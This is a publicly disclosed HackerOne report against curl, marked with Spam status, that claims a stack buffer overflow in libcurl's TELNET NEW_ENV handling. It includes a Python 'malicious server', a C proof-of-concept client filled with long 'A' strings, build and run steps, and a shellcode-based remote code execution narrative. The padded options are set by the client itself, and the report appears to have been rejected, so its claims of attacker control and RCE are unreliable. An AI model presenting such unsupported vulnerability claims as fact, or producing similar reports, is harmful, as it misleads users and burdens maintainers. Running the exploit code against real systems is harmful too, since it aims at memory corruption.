HexBrain

curl · Report #3230082

Stack-based Buffer Overflow in TELNET NEW_ENV Option Handling

Spamstatus
highseverity
14upvotes
30 Jun 2025disclosed

How it was found

Title:

Stack-based Buffer Overflow in TELNET NEW_ENV Option Handling

Vulnerability Description:

Summary: A stack-based buffer overflow vulnerability exists in the libcurl TELNET handler. When libcurl connects to a malicious TELNET server, the server can trigger an overflow by sending a NEW_ENVIRON SEND request. This causes the client to construct a response that overwrites a fixed-size stack buffer, leading to a crash and potential remote code execution (RCE). The vulnerability can be triggered by a user connecting to a malicious URL using the curl command-line tool or any application that uses libcurl.

Root Cause Analysis: The vulnerability is located in the suboption() function within curl/lib/telnet.c. When the client receives a request from the server to send its environment variables (as specified by the user via the CURLOPT_TELNETOPTIONS setting), it attempts to build a response packet on the stack.

The function allocates a 2048-byte buffer named temp on the stack:

unsigned char temp[2048];

It then iterates through the user-provided environment variables (tn->telnet_vars). Before writing a variable to the buffer, it performs a size check:

size_t tmplen = (strlen(v->data) + 1);
if(len + tmplen < (int)sizeof(temp)-6) {
    // ... code to write to buffer ...
}

The flaw lies in how the variable is written to the buffer inside this if block. If the variable contains a comma (the format for NEW_ENV is VAR,VALUE), it is processed by the following msnprintf call:

len += msnprintf((char *)&temp[len], sizeof(temp) - len,
                 "%c%.*s%c%s", CURL_NEW_ENV_VAR,
                 (int)vlen, v->data, CURL_NEW_ENV_VALUE, ++s);

The length check only accounts for tmplen (the original string length), but this msnprintf call expands the string by adding two control characters (CURL_NEW_ENV_VAR and CURL_NEW_ENV_VALUE). This discrepancy allows an attacker to bypass the length check. By providing a series of carefully sized NEW_ENV options, an attacker can cause msnprintf to write far beyond the 2048-byte boundary of the temp buffer, corrupting the stack.

Impact: This is a high-severity vulnerability. A successful exploit leads to a denial of service (crash) via stack corruption. More critically, because the overflow is controllable, it creates the potential for an attacker to achieve Remote Code Execution (RCE) with the permissions of the user running the curl client.

Proof of Concept (POC):

This proof-of-concept reliably demonstrates the vulnerability. It requires two components: a simple Python server to act as the malicious TELNET server, and a C program that uses libcurl to connect to it.

Component 1: Malicious TELNET Server (tiny_telnet_server.py) This server listens on port 2323 and, upon connection, sends the specific TELNET command sequence (IAC SB NEW_ENVIRON SEND IAC SE) that triggers the vulnerable code path in the client.

import socket
import sys
import time

def main():
    host = '127.0.0.1'
    port = 2323

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind((host, port))
    server.listen(1)
    print(f"[*] Simple TELNET server listening on {host}:{port}", file=sys.stderr)

    # Command: IAC SB NEW_ENVIRON SEND IAC SE
    telnet_command = b'\xff\xfa\x27\x01\xff\xf0'

    try:
        conn, addr = server.accept()
        print(f"[+] Connection from {addr}", file=sys.stderr)
        print("[*] Sending TELNET NEW_ENVIRON command to trigger the vulnerability...", file=sys.stderr)
        conn.sendall(telnet_command)
        
        time.sleep(2) # Give client time to process and crash
        
        print("[*] Closing connection.", file=sys.stderr)
        conn.close()

    except Exception as e:
        print(f"[!] An error occurred: {e}", file=sys.stderr)
    finally:
        server.close()
        print("[*] Server shut down.", file=sys.stderr)

if __name__ == '__main__':
    main()

Component 2: Vulnerable Client (telnet_poc.c) This C program uses libcurl to connect to the server with specially crafted CURLOPT_TELNETOPTIONS that exploit the flawed length check.

#include <stdio.h>
#include <curl/curl.h>

int main(void)
{
  CURL *curl;
  CURLcode res;
  struct curl_slist *options = NULL;

  curl_global_init(CURL_GLOBAL_DEFAULT);

  curl = curl_easy_init();
  if(curl) {
    /* This payload uses a series of environment variables that are sized to
       pass the flawed length check but expand via msnprintf to cause an
       overflow of the 2048-byte stack buffer. The format is "NEW_ENV=VAR,VALUE". */
    options = curl_slist_append(options, "NEW_ENV=USER,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    options = curl_slist_append(options, "NEW_ENV=USER,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    options = curl_slist_append(options, "NEW_ENV=USER,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    options = curl_slist_append(options, "NEW_ENV=USER,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");

    curl_easy_setopt(curl, CURLOPT_URL, "telnet://127.0.0.1:2323");
    curl_easy_setopt(curl, CURLOPT_TELNETOPTIONS, options);
    curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);

    res = curl_easy_perform(curl);

    if(res != CURLE_OK && res != CURLE_RECV_ERROR)
      fprintf(stderr, "curl_easy_perform() failed: %s\\n",
              curl_easy_strerror(res));

    curl_slist_free_all(options);
    curl_easy_cleanup(curl);
  }

  curl_global_cleanup();

  return 0;
}


**Reproduction Steps**

**1. Set up the Environment**
Ensure you have a Linux environment with the necessary build tools installed. On a Debian-based system (like Ubuntu), you can install them with:
```bash
sudo apt-get update
sudo apt-get install gcc git autoconf libtool libpsl-dev

2. Clone the curl Repository

git clone https://github.com/curl/curl.git

3. Build libcurl from Source These commands will configure, compile, and install a local version of libcurl. We disable SSL because it is not needed to demonstrate this TELNET vulnerability.

cd curl
autoreconf -fi
./configure --prefix=$(pwd)/build --without-ssl
make
make install
cd ..

4. Compile the Proof of Concept (PoC) Client This command compiles telnet_poc.c and links it against the libcurl you just built. Make sure telnet_poc.c is in the same directory where you cloned the curl folder.

gcc telnet_poc.c -o telnet_poc -I curl/build/include -L curl/build/lib -lcurl -Wl,-rpath,$(pwd)/curl/build/lib

5. Execute the Vulnerability Test You will need two separate terminal windows for this final step, both opened in your project directory.

Terminal 1: Start the Server Run the Python server to listen for a connection. Make sure tiny_telnet_server.py is in your current directory.

python3 tiny_telnet_server.py

Terminal 2: Run the Client While the server is running, execute the compiled PoC client in the second terminal.

./telnet_poc

Expected Result: The client in Terminal 2 will connect to the server and print verbose connection details. You will see a large stream of 'A' characters being sent back to the server, demonstrating that the client's stack buffer has been overflowed. The program will then terminate with an error like Recv failure: Connection reset by peer (because the server hangs up) or, on many systems, will crash with a Segmentation fault. Either result confirms the memory corruption.

Impact

Detailed Impact Assessment

The impact of this stack-based buffer overflow is High. The vulnerability allows for two primary attack scenarios, ranging from a guaranteed Denial of Service to a high probability of Remote Code Execution.

1. Denial of Service (DoS) - Guaranteed Impact

The most immediate and easily achievable impact is a Denial of Service. As demonstrated by the proof-of-concept, an attacker can trigger a stack buffer overflow by convincing a user or an application to connect to a malicious TELNET server with specially crafted options.

When the overflow occurs, critical data on the program's stack is corrupted. This data includes local variables and, most importantly, the function's saved return address. The moment the suboption() function attempts to return or access this corrupted memory, the program will crash due to an invalid memory access. This immediately terminates the curl process or any application using the libcurl library, preventing it from functioning further. This is a remotely triggerable, unauthenticated Denial of Service.

2. Remote Code Execution (RCE) - Potential Impact

The more critical impact is the potential for Remote Code Execution. Stack-based buffer overflows are a classic and well-understood vector for achieving RCE. The attacker's goal is not just to crash the program, but to seize control of its execution flow.

This is typically achieved as follows:

  • Controlling the Return Address: The primary target on the stack is the function's return address. This address tells the CPU where to continue execution after the current function (suboption()) is finished. The attacker's crafted payload, which overflows the temp buffer, can be precisely sized to overwrite this return address with an address of their choosing.
  • Injecting Malicious Code (Shellcode): The attacker can include their own small, executable piece of code (known as "shellcode") within the overflowing data itself.
  • Redirecting Execution: The attacker overwrites the return address to point back into the stack, specifically to the location where their shellcode was injected. When the suboption() function finishes, instead of returning to its legitimate caller, it will "return" to the attacker's shellcode and begin executing it.

A successful RCE exploit would grant the attacker the ability to run arbitrary commands on the victim's machine with the same permissions as the user who ran the curl command. If a user runs the vulnerable curl command, the attacker gets control of that user's account. If the command is executed by a web server, a system script, or another automated process running with higher privileges (like root), the attacker could gain complete control over the entire system.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original